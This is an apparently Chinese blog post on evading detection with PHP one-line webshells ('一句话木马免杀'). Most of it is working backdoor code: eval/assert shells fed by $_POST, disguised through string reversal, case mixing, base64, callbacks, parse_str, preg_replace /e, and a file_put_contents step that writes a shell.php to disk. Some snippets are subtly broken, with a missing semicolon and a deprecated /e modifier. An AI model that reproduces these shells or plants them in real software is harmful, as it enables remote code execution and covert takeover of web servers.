PHP一句话木马免杀学习

PHP一句话木马免杀学习

简单了解php一句话木马原理

<?php @eval($_POST['shell']);?>

首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

在这里插入图片描述

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

在这里插入图片描述

一句话木马的变形

常用变形函数

convert_uudecode() #解码一个 uuencode 编码的字符串。
convert_uuencode() #使用 uuencode 编码一个字符串。
ucwords() #函数把字符串中每个单词的首字符转换为大写。
strrev () #反转字符串
trim() #函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() #函数把字符串的一部分替换为另一个字符串
substr() #函数返回字符串的一部分。
strtr() #函数转换字符串中特定的字符。
strtoupper() #函数把字符串转换为大写。
strtolower() #函数把字符串转换为小写。
implode()  #将一个一维数组的值转化为字符串。
str_rot13() #函数对字符串执行 ROT13 编码。


<?php
// 使用 uuencode 编码一个字符串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>
1.相同功能函数替换

例如使用assert函数。assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

<?php assert(@$_POST['shell']); ?>

2.使用变量
使用变量函数$a,变量储存了函数名assert,便可以直接用变量替代函数名。
<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>


php可变变量
<?php
  $b = "assert";
  $a = 'b';
  $$a($_POST['hacker']);
?>
3.使用字符串拼接、大小写混淆、字符串逆序组合
使用大小写混淆配合字符串转小写函数strtolower组合而成
<?php  
$a="AssERT";  
$b=strtolower($a);     函数把字符串转换为小写
@$b($_POST['shell']);  
?>


使用字符串拼接、大小写混淆、字符串逆序组合而成
<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);      #函数把字符串转换为小写
$c=strrev($b);          #反转字符串
@$c($_POST['shell']);  
?>



4.自定义函数
create_function函数
把用户传递的数据生成一个函数fun(),然后再执行fun()

<?php
$fun = create_function('',$_POST['shell']);
$fun();
?>
5.回调函数
回调函数可以调用其它函数,被调用的函数是回调的第一个函数,被调用的函数的参数是回调的第二个参数。这样的一个语句也可以完成一句话木马。

常见回调函数
call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()


例如
<?php 
forward_static_call_array(assert,array($_POST["shell"]));
?>


<?php
@call_user_func(assert,$_POST['a']);
?>
6.str_replace函数
此函数作用是:在第三个参数中查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除“b”。

<?php
  $a = str_replace("b", "", "absbsbebrbt");
  $a($_POST['hacker']);
?>
7.base64_decode函数编码绕过
base64解密函数,"ZXZhbA=="是eval的base64加密。

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
8.parse_str函数
执行这个函数后,生成一个变量$a,值为字符串"eval"

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
9.preg_replace 函数
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。
<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>
10."."操作符
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
11.file_put_contents函数
利用函数生成木马
生成一个文件,第一个参数是文件名,第二个参数是文件的内容。
<?php
$test='<?php $a=$_POST["shell"];assert($a); ?>';
file_put_contents("shell.php", $test);
?>
12.通过PHP的动态函数
<?php
$a = 'assert';
$b = '_POST';
$a($$b['shell']); //assert($_POST['shell']);
?>
  • 7
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值